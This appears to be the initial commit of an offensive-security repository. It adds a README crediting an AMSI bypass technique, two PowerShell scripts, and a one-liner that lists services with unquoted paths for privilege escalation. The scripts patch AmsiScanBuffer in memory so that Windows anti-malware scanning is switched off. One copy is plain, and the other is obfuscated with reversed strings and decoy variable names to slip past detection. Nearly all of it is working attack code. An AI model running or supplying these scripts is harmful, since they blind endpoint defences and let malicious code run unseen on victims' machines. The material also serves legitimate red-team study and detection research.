init

amsi-memory-patching/README.md

@@ -0,0 +1,5 @@
+# AMSI Bypass by Memory Patching
+
+Visit related blog post for a better understanding of this AMSI bypass technique: [print3m.github.io/blog/amsi-memory-patching-bypass](https://print3m.github.io/blog/amsi-memory-patching-bypass)
+
+**DISCLAIMER**: This is not a new AMSI bypass technique. As far as I know it was discovered by [Rasta Mouse in 2021](https://rastamouse.me/memory-patching-amsi-bypass/).

amsi-memory-patching/script-obfuscated.ps1

@@ -0,0 +1,27 @@
+$Apple = @"
+}
+;)tcetorPdlOlfpl tniu tuo ,tcetorPweNlf tniu ,eziSwd rtPtnIU ,sserddApl rtPtnI(tcetorPlautriV loob nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+;)emaNcorp gnirts ,eludoMh rtPtnI(sserddAcorPteG rtPtnI nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+;)eman gnirts(yrarbiLdaoL rtPtnI nretxe citats cilbup    
+])"23lenrek"(tropmIllD[    
+{ 23niW ssalc cilbup
+;secivreSporetnI.emitnuR.metsyS gnisu
+;metsyS gnisu
+"@
+$Apple = $Apple.ToCharArray();[array]::Reverse($Apple);$Apple = $Apple -join ""
+
+Add-Type $Apple
+
+$DllName = "lld.isma".ToCharArray();[array]::Reverse($DllName);$DllName = $DllName -join ""
+$DllAddr = [Win32]::LoadLibrary($DllName)
+
+$FuncName = "reffuBnacSismA".ToCharArray();[array]::Reverse($FuncName);$FuncName = $FuncName -join ""
+$FuncAddr = [Win32]::GetProcAddress($DllAddr, $FuncName)
+
+$p = 0
+[Win32]::VirtualProtect($FuncAddr, [uint32]5, 0x40, [ref]$p)
+
+$Banana = [Byte[]] (0x31, 0xC0, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy($Banana, 0, $FuncAddr, $Banana.Length)

amsi-memory-patching/script.ps1

@@ -0,0 +1,20 @@
+$Win32 = @"
+using System;
+using System.Runtime.InteropServices;
+public class Win32 {
+    [DllImport("kernel32")]
+    public static extern IntPtr LoadLibrary(string name);
+    [DllImport("kernel32")]
+    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+    [DllImport("kernel32")]
+    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+}
+"@
+
+Add-Type $Win32
+$DllAddr = [Win32]::LoadLibrary("amsi.dll")
+$FuncAddr = [Win32]::GetProcAddress($DllAddr, "AmsiScanBuffer")
+$p = 0
+[Win32]::VirtualProtect($FuncAddr, [uint32]5, 0x40, [ref]$p)
+$Patch = [Byte[]] (0x31, 0xC0, 0xC3)
+[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $FuncAddr, $Patch.Length)

one-liners.ps1

@@ -0,0 +1,4 @@
+###
+# GET SERVICES WITH UNQUOTED PATHS
+###
+Get-CimInstance win32_service | where PathName -notlike "" | where { $_.PathName.StartsWith('"') -eq $false }| select @{e={$_.PathName.split(" ")[0]};n="FirstPath"},PathName | where { $_.FirstPath.EndsWith(".exe") -eq $false }